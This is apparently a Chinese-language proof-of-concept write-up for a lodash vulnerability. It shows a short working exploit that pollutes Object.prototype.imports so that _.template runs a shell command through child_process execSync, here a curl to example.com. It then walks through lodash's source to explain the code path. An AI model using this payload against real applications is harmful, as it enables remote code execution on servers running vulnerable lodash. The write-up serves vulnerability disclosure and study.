threalwinky/cve-2026-4800-poc概念验证，演示如何通过原型污染在 lodash 模板中实现远程代码执行，并详细分析攻击流程与利用技术。
https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc
const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});
首先利用先前存在的原型污染漏洞，用攻击者控制的属性污染 Object.prototype.imports
接着，以普通的纯对象 options 值调用 _.template('', {})
在 _.template() 内部，lodash 在 处使用 复制
assignInWith({}, options, settings, ...)optionsfunction template(string, options, guard) {
// Based on John Resig's `tmpl` implementation
// (http://ejohn.org/blog/javascript-micro-templating/)
// and Laura Doktorova's doT.js (https://github.com/olado/doT).
var settings = lodash.templateSettings;
if (guard && isIterateeCall(string, options, guard)) {
options = undefined;
}
string = toString(string);
options = assignInWith({}, options, settings, customDefaultsAssignIn);
...
assignInWith 在 lodash.js:12778 处使用 keysIn(source) var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
copyObject(source, keysIn(source), object, customizer);
});
keysIn() 在 lodash.js:13440 处包含继承的可枚举属性 function keysIn(object) {
return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
}
由于 options 对象是普通的 {}，它会从 Object.prototype 继承被污染的 imports 属性，lodash 会将这个继承的值复制到本地的 options.imports 中
随后 lodash 在 lodash.js:14889 处使用 assignInWith({}, options.imports, settings.imports, ...) 构建 imports，在 lodash.js:14889 处提取 importsKeys，并在 lodash.js:14957 处将它们传入 Function(importsKeys, ...)
...
// Cleanup code by stripping empty strings.
source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
.replace(reEmptyStringMiddle, '$1')
.replace(reEmptyStringTrailing, '$1;');
// Frame code as the function body.
source = 'function(' + (variable || 'obj') + ') {\n' +
(variable
? ''
: 'obj || (obj = {});\n'
) +
"var __t, __p = ''" +
(isEscaping
? ', __e = _.escape'
: ''
) +
(isEvaluating
? ', __j = Array.prototype.join;\n' +
"function print() { __p += __j.call(arguments, '') }\n"
: ';\n'
) +
source +
'return __p\n}';
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
...
我污染的关键字被当作带有默认表达式的形参处理：
x=process.getBuiltinModule("child_process").execSync("curl https://example.com")